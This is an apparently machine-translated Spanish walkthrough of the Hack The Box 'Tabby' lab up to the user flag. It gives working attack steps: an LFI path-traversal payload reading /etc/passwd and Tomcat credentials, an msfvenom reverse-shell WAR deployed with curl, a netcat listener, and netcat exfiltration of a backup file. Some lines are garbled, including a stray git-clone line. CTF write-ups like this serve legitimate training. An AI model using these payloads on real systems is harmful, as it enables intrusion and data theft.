Este es un tutorial o solución de marca de usuario para la máquina TABBY en Hack The Box. Esta máquina es una máquina basada en Linux en la que tenemos que ser root y usuario. Su nivel de dificultad es fácil y tiene una IP 10.10.10.194 para mi y podría depender de tu cuenta. El enlace de la máquina es https://www.hackthebox.eu/home/machines/profile/259 .
Pasos para obtener el indicador de usuario de la máquina
1. Realice una exploración de Nmap.
nmap -sV -sC 10.10.10.194
Reemplace 10.10.10.194 con la dirección IP de su máquina.
Los resultados muestran que hay 3 puertos abiertos, a saber, http en 80 y 8080 y ssh en 22.
2. Acceda a la página web visitando la dirección IP en el navegador
Abra la dirección IP en un navegador y haga clic en cada elemento de navegación en la barra de navegación.
Después de hacer clic en todos los elementos de la barra de navegación, encontramos que el elemento de navegación de noticias nos está redirigiendo a una URL http://megahosting.htb/news.php?file=statement .
Reemplazando megahosting.htb con la respectiva ip de la maquina. Hacer lo mismo nos da la siguiente salida.
Parece que el portal web es vulnerable a la inclusión de archivos locales . Y si hay una vulnerabilidad de inclusión de archivo local, nos centraremos en los elementos que se enumeran a continuación.
- Registros del servidor (Apache y SSH)
- Registros de correo
- El archivo /proc/self/environ
- /etc/passwd para obtener el nombre de usuario del usuario para leer los registros de correo
3. Pruebe la carga útil de inclusión de archivos locales
Ingrese ../../../../etc/passwd en el parámetro de archivo para ver el archivo passwd o simplemente visite el enlace http://10.10.10.194/news.php?file=../../ ../../etc/passwd\ reemplazando su dirección IP con su dirección IP respectiva. E imprime el archivo passwd.
Como se puede ver, el archivo passwd se imprime, por lo que después de todo esto, es seguro que tenemos que hacer una ejecución remota de código a través de esto.
4. Visita el puerto 8080
Después de enumerar todas las URL mencionadas anteriormente, no hay ningún resultado. Entonces, intentemos averiguar el contenido del puerto HTTP 8080 que se vio abierto a través de nmap. Visita la url 10.10.10.194:8080 e imprime el siguiente resultado.
Esto nos da una pista de que tenemos que hacer algo con Apache. Al hacer clic en todos los enlaces, cuando hicimos clic en el enlace manager_webapp estaba solicitando el nombre de usuario y la contraseña. Entonces ahora está claro que tenemos que obtener la contraseña del administrador del servidor web Apache.
5. Obtener la contraseña del host del servidor web Apache:
Ahora, después de todo esto, está claro que necesitamos el nombre de usuario y la contraseña de Apache para continuar. Para obtener la contraseña y el nombre de usuario, debemos revisar algunos archivos de configuración de Apache y luego buscar cada archivo y, como son archivos XML, también debemos mirar los códigos fuente. Después de la fuerza bruta en todos los directorios de Apache para la configuración, el nombre de usuario y la contraseña se encuentran en /usr/share/tomcat9/etc/tomcat-users.xml . Al visitar la URL http://10.10.10.194/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml volverá una página en blanco pero después de mirar en su código fuente podemos ver claramente la contraseña y el nombre de usuario.
username : tomcat password : $3cureP4s5w0rd123!
6. Crear un nuevo host virtual y cargar el archivo de carga útil de shell inverso.
A partir de ahora, tenemos el nombre de usuario y la contraseña del host. Ahora intente iniciar sesión desde el enlace en la página de inicio del puerto 8080. Le pedirá una contraseña y un nombre de usuario. Ingrese las credenciales mencionadas anteriormente allí y ahora iniciará sesión como anfitrión. Apache nos permite crear hosts virtuales con un terminal mediante el cual podríamos inyectar una carga útil de guerra creando un nuevo host virtual.
Ingrese el siguiente comando para crear una carga útil de shell inversa usando metasploit
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<hackthebox_IP> LPORT=4444 -f war > shell.war
Cambie <hackthebox_IP> con su dirección IP de hackthebox.
Ingrese el siguiente comando para crear un host virtual con el archivo de carga útil shell.war recién creado.
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/rev_shell'
Ingrese el siguiente comando (en una nueva ventana de terminal) para comenzar a escuchar el puerto mencionado en el archivo shell.war.
nc -nvlp 4444
7. Consigue un caparazón adecuado
Ahora es el momento de ejecutar nuestro shell. Para hacerlo ingrese el siguiente comando.
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/rev_shell/
Ahora tenemos el shell en la ventana de la terminal donde estamos escuchando el puerto 4444.
Así que finalmente conseguimos un caparazón. Es hora de convertirlo en un bot interactivo, ya que no es tan interactivo.
Para hacerlo interactivo, aquí hay una secuencia de comandos que se deben ingresar.
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm press ctrl+z key combination stty raw -echo fg
Entonces, a partir de ahora, tenemos un shell interactivo para trabajar.
8. Buscar y descargar el archivo de copia de seguridad para la escalada de privilegios.
Cambie el directorio a /var/www/html. Ahora busque algunos archivos que puedan ayudar en la escalada de privilegios. Cambia el directorio actual a archivos. Y aquí vamos, hay un archivo de copia de seguridad llamado » 16162020_backup.zip «.
Descarguemos el mismo archivo con el comando nc. Abra otra terminal e ingrese el siguiente comando allí.
nc -lvnp 1234 > 16162020_backup.zip
Ingrese el siguiente comando en la terminal de la máquina para descargar el archivo
nc -w 4 <your_hackthebox_ip> 1234 < 16162020_backup.zip
Ahora tenemos el archivo de copia de seguridad con nosotros.
9. Descomprimir el archivo de copia de seguridad.
Al descomprimir el archivo de respaldo, se encontró que está protegido por contraseña. Así que tendremos que descifrarlo y para ello usaremos la herramienta fcrackzip . Ingrese el siguiente comando para romper la contraseña del archivo. clon de git https://github.com/saghul/lxd-alpine-builder.git clon de git https://github.com/saghul/lxd-alpine-builder.git
fcrackzip -v -D -u -p /usr/share/dict/words secret.zip
widget de imagen de archivo zip de copia de seguridad agrietada.
Y de esto obtuvimos la contraseña como » admin@it «. Así que a partir de ahora tenemos la contraseña y el archivo comprimido con nosotros. Es momento de descomprimirlo con la respectiva contraseña.
Ingrese el siguiente comando para extraer archivos y directorios del archivo comprimido.
unzip 16162020_backup.zip
Después de abrir todos los archivos extraídos, no había nada que pudiera ayudarnos a obtener la bandera o escalar privilegios. Entonces, el siguiente paso es probar la contraseña que recibimos para cambiar el usuario a » ash «.
10. Obtener el hash del usuario
Inicie sesión con el nombre de usuario » ash » y la contraseña es » admin@it «.
Como se puede ver, cambiamos al usuario » ash » y como tenemos la contraseña del usuario ash con nosotros, es hora de obtener el hash del usuario y enviarlo. Ejecute el siguiente comando para obtener el hash.
cat /home/ash/user.txt
Ahora, cuando revisé todo el directorio /home/ash, no había nada que pudiera ayudarnos a obtener el indicador raíz.